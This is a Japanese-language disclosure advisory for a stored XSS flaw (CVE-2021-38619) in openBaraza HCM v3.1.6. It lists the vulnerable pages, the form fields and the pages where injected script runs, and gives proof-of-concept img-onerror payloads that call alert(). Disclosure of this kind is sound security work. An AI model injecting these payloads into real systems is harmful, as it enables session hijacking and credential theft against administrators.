CVE-2021-38619 openBaraza HCM HR Payroll v.3.1.6 未認証の格納型XSS脆弱性

openBaraza HCM v.3.1.6 はユーザーが制御可能な入力を適切に無害化しないため、未認証のリモート攻撃者が複数のページから管理者ユーザーに対して格納型クロスサイトスクリプティング（XSS）攻撃を仕掛ける可能性があります。攻撃者が脆弱なページに任意のJavaScriptペイロードを注入し、正規ユーザーが影響を受けるページへのアクセスを試みると、ペイロードが実行されます。これにより、認証情報の窃取、セッションハイジャック、または被害者へのマルウェア配信が発生する可能性があります。

発見者: Charles Bickel & Gideon Gray

---

脆弱なページ: http://serverip:9090/hr/application.jsp

脆弱なテキストボックス: first_name, surname, email

ペイロード:

• <img src="https://raw.githubusercontent.com/charlesbickel/cve-2021-38619/HEAD/x"onerror="alert('First');" />
• <img src="https://raw.githubusercontent.com/charlesbickel/cve-2021-38619/HEAD/x"onerror="alert('Surname');" />
• [email protected]<img src="https://raw.githubusercontent.com/charlesbickel/cve-2021-38619/HEAD/x"onerror="alert('email');" />

影響を受けるページ: http://serverip:9090/hr/index.jsp?view=23:0

---

脆弱なページ: http://serverip:9090/hr/subscription.jsp

脆弱なテキストボックス: business_name, primary_contact, primary_email, confirm_email

ペイロード:

• <img src="https://raw.githubusercontent.com/charlesbickel/cve-2021-38619/HEAD/x"onerror="alert('business');" />
• <img src="https://raw.githubusercontent.com/charlesbickel/cve-2021-38619/HEAD/x"onerror="alert('contact');" />
• <img src="https://raw.githubusercontent.com/charlesbickel/cve-2021-38619/HEAD/x"onerror="alert('email');" />

影響を受けるページ: http://serverip:9090/hr/index.jsp?view=94:0